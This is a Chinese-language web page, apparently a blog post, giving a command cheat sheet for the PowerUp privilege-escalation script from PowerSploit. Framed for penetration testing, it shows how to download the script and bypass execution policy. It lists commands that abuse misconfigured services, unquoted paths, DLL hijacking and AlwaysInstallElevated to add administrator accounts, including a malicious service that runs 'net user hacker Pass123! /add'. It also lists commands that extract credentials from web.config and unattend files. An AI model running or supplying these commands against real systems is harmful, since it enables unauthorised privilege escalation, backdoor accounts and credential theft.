当前位置: 首页 > web >正文

提权脚本Powerup命令备忘单

1. 获取与加载
  • 从 GitHub 下载
    (New-Object Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
    
  • 本地加载
    Import-Module .\PowerUp.ps1
    
  • 绕过执行策略
    powershell.exe -ep Bypass -File PowerUp.ps1
    

2. 场景化使用
场景 1:快速全面扫描提权机会
  • 需求:快速了解目标系统所有潜在提权路径。
  • 命令
    Invoke-AllChecks
    
  • 用途:扫描所有漏洞向量(如服务、注册表、DLL 劫持等),输出详细结果及建议的滥用函数。
  • 扩展:生成 HTML 报告,便于分析:
    Invoke-AllChecks -HTMLReport
    
  • 适用场景:渗透测试初期,需全面摸底系统配置。
场景 2:检查服务相关提权
  • 需求:发现可利用的服务配置错误(如未加引号路径或可修改服务)。
  • 命令
    • 未加引号服务路径:
      Get-ServiceUnquoted
      
    • 可修改服务:
      Get-ModifiableService
      
    • 可写服务二进制路径:
      Get-ModifiableServiceFile
      
  • 用途:识别服务配置漏洞,常用于服务路径劫持或替换服务二进制。
  • 利用示例
    • 发现可修改服务后,添加管理员用户:
      Invoke-ServiceAbuse -Name "Vuln-Service" -Username "john" -Password "Password123!"
      
    • 利用未加引号路径:
      Write-ServiceBinary -Name "unquotedsvc" -Path "C:\Program Files\Unquoted Path Service\Common.exe" -Username "badmin" -Password "p4ssw0rd"
      
  • 适用场景:目标系统运行大量服务,需针对服务提权。
场景 3:查找 DLL 劫持机会
  • 需求:检查是否存在 DLL 劫持漏洞以提升权限。
  • 命令
    • 查找 DLL 劫持:
      Invoke-FindDLLHijack
      
    • PATH 环境变量劫持:
      Invoke-FindPathDLLHijack
      
  • 用途:识别缺失或可写 DLL 的加载路径,适合植入恶意 DLL。
  • 适用场景:目标系统运行自定义应用程序,可能存在 DLL 加载问题。
场景 4:检查注册表提权路径
  • 需求:发现注册表配置错误(如自动运行程序或 UAC 绕过)。
  • 命令
    • 自动运行程序:
      Get-RegistryAutoRun
      
    • AlwaysInstallElevated(UAC 绕过):
      Get-RegistryAlwaysInstallElevated
      
  • 利用示例
    • 利用 AlwaysInstallElevated:
      Write-UserAddMSI
      
  • 适用场景:目标系统配置了自动运行程序或启用了高权限安装策略。
场景 5:提取凭据与配置文件
  • 需求:从系统配置文件中获取敏感凭据。
  • 命令
    • Web 配置文件凭据:
      Get-Webconfig
      
    • Unattended.xml 凭据:
      Get-UnattendedInstallFile
      
  • 用途:提取未加密的凭据,获取管理员账户或服务账户信息。
  • 适用场景:目标系统为 Web 服务器或存在自动安装配置文件。
场景 6:检查令牌与权限
  • 需求:了解当前用户的权限或令牌状态,寻找特权提升机会。
  • 命令
    • 进程令牌权限:
      Get-ProcessTokenPrivilege
      
    • 用户 SID 组:
      Get-ProcessTokenGroup
      
  • 利用示例
    • 启用特权(如 SeDebugPrivilege):
      Enable-Privilege -Privilege "SeDebugPrivilege"
      
  • 适用场景:当前用户拥有潜在高权限令牌,需进一步利用。
场景 7:创建恶意服务提权
  • 需求:通过安装自定义服务执行高权限命令。
  • 命令
    Install-ServiceBinary -Name "EvilService" -Command "net user hacker Pass123! /add"
    
  • 用途:创建新服务以运行提权命令,适合无现成漏洞但有服务创建权限的场景。
  • 适用场景:目标系统允许低权限用户创建服务。

3. 输出与记录
  • 保存结果
    Invoke-AllChecks | Tee-Object -FilePath C:\Users\Public\report.txt
    
  • 生成 HTML 报告
    Invoke-AllChecks -HTMLReport
    
  • 用途:便于整理分析或提交测试报告。

4. 实用提示
  • 运行环境:Windows 系统,PowerShell 2.0+,低权限用户运行以发现提权路径。
  • 注意事项
    • 确认服务可重启(CanRestart: True)再利用。
    • 测试前评估命令影响,避免破坏系统。
    • 优先手动验证 Invoke-AllChecks 结果,避免直接运行自动提权。
  • 获取帮助
    Get-Help <Cmdlet-Name> -Full
    
    示例:Get-Help Get-ModifiableService -Full
http://www.xdnf.cn/news/6673.html

相关文章:

  • 从小区到商场再到校园,AI智能分析网关V4高空抛物检测方案全场景护航
  • Spring Boot 封装 MinIO 工具
  • DDS(数据分发服务) 和 P2P(点对点网络) 的详细对比
  • [QMT量化交易小白入门]-五十四、核心资产ETF轮动目前年化只有74%了,在过滤掉当天止损,当天买入的之后
  • Java 21 + Spring Boot 3.5:AI驱动的高性能框架实战
  • require/exports 或 import/export的联系和区别,各自的使用场景
  • 基于Rust语言的Rocket框架和Sqlx库开发WebAPI项目记录(二)
  • Expo项目在本地打包apk的问题
  • Vue主题色切换实现方案(CSS 变量 + 类名切换)
  • 【前端】[vue3] [uni-app]使用 vantUI 框架
  • 使用 OpenCV 将图像中标记特定颜色区域
  • 黑马k8s(九)
  • day 26
  • Python训练营打卡 Day27
  • Java 中使用 Redis 实现消息订阅/发布
  • 三极管知识
  • 根据台账批量制作个人表
  • 5G-A和未来6G技术下的操作系统与移动设备变革:云端化与轻量化的发展趋势
  • 【Pandas】pandas DataFrame kurt
  • 如何让 Google 收录 Github Pages 个人博客
  • go封装将所有数字类型转浮点型,可设置保留几位小数
  • AG-UI 协议:重构多模态交互,开启智能应用新纪元
  • C42-作业练习
  • 光谱相机的空间分辨率和时间分辨率
  • MinIO 开源的分布式文件服务器
  • 三格电子上新了——IO-Link系列集线器
  • 【C++】 —— 笔试刷题day_29
  • el-breadcrumb 面包屑第一项后面怎么写没有分隔符
  • 【实测有效】Edge浏览器打开部分pdf文件显示空白
  • 线程池(ThreadPoolExecutor)实现原理和源码细节是Java高并发面试和实战开发的重点